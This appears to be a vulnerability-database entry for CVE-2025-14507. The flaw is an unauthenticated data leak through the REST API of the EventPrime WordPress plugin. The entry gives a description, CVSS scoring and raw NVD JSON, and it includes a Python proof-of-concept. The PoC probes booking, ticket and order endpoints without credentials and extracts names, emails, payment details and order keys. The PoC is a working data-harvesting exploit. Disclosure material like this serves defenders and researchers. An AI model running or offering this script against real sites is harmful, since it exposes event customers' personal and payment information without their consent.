Security Vulnerability Report
中文
CVE-2025-14507 CVSS 5.3 MEDIUM

CVE-2025-14507

Published: 2026-01-13 14:16:38
Last Modified: 2026-04-15 00:35:42

Description

The EventPrime - Events Calendar, Bookings and Tickets plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.2.7.0 via the REST API. This makes it possible for unauthenticated attackers to extract sensitive booking data including user names, email addresses, ticket details, payment information, and order keys when the API is enabled by an administrator. The vulnerability was partially patched in version 4.2.7.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

EventPrime插件 < 4.2.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14507 PoC - EventPrime REST API Sensitive Information Exposure # Affected versions: <= 4.2.7.0 # Requires: API enabled by administrator import requests import json import sys def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-14507""" # API endpoints that expose sensitive data endpoints = [ '/wp-json/epse/v1/bookings', '/wp-json/epse/v1/tickets', '/wp-json/epse/v1/orders', '/wp-json/eventprime/v1/bookings', '/wp-json/eventprime/v1/tickets' ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-14507 - EventPrime REST API Information Disclosure\n") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Send unauthenticated request response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: data = response.json() if data and len(str(data)) > 50: # Check if response contains data print(f"[+] VULNERABLE: {endpoint}") print(f" Status: {response.status_code}") print(f" Data length: {len(str(data))} bytes") print(f" Sample data: {str(data)[:200]}...\n") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") print("[-] Target does not appear to be vulnerable or API is disabled") return False def extract_sensitive_data(target_url): """Extract sensitive booking data from vulnerable endpoint""" endpoint = '/wp-json/epse/v1/bookings' url = target_url.rstrip('/') + endpoint print(f"\n[*] Attempting to extract sensitive data...") try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: data = response.json() # Parse and display sensitive information if isinstance(data, list) and len(data) > 0: print(f"[+] Extracted {len(data)} booking records") for i, record in enumerate(data[:5]): # Show first 5 records print(f"\n--- Booking Record {i+1} ---") if isinstance(record, dict): for key, value in record.items(): sensitive_keys = ['email', 'name', 'payment', 'order', 'phone', 'address'] if any(s in key.lower() for s in sensitive_keys): print(f" {key}: {value}") return data except Exception as e: print(f"[-] Error extracting data: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14507-poc.py <target_url>") print("Example: python cve-2025-14507-poc.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target) extract_sensitive_data(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14507", "sourceIdentifier": "[email protected]", "published": "2026-01-13T14:16:37.570", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The EventPrime - Events Calendar, Bookings and Tickets plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.2.7.0 via the REST API. This makes it possible for unauthenticated attackers to extract sensitive booking data including user names, email addresses, ticket details, payment information, and order keys when the API is enabled by an administrator. The vulnerability was partially patched in version 4.2.7.0."}, {"lang": "es", "value": "El plugin EventPrime - Events Calendar, Bookings and Tickets para WordPress es vulnerable a la Exposición de Información Sensible en todas las versiones hasta, e incluyendo, la 4.2.7.0 a través de la API REST. Esto hace posible que atacantes no autenticados extraigan datos sensibles de reserva, incluyendo nombres de usuario, direcciones de correo electrónico, detalles de los tickets, información de pago y claves de pedido cuando la API está habilitada por un administrador. La vulnerabilidad fue parcheada parcialmente en la versión 4.2.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/eventprime-event-calendar-management/trunk/includes/class-eventprime-rest-api.php#L447", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/eventprime-event-calendar-management/trunk/includes/class-eventprime-rest-api.php#L651", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3422587/", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3432454/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4b170ed1-72ee-40b6-9882-e978d630f6bb?source=cve", "source": "[email protected]"}]}}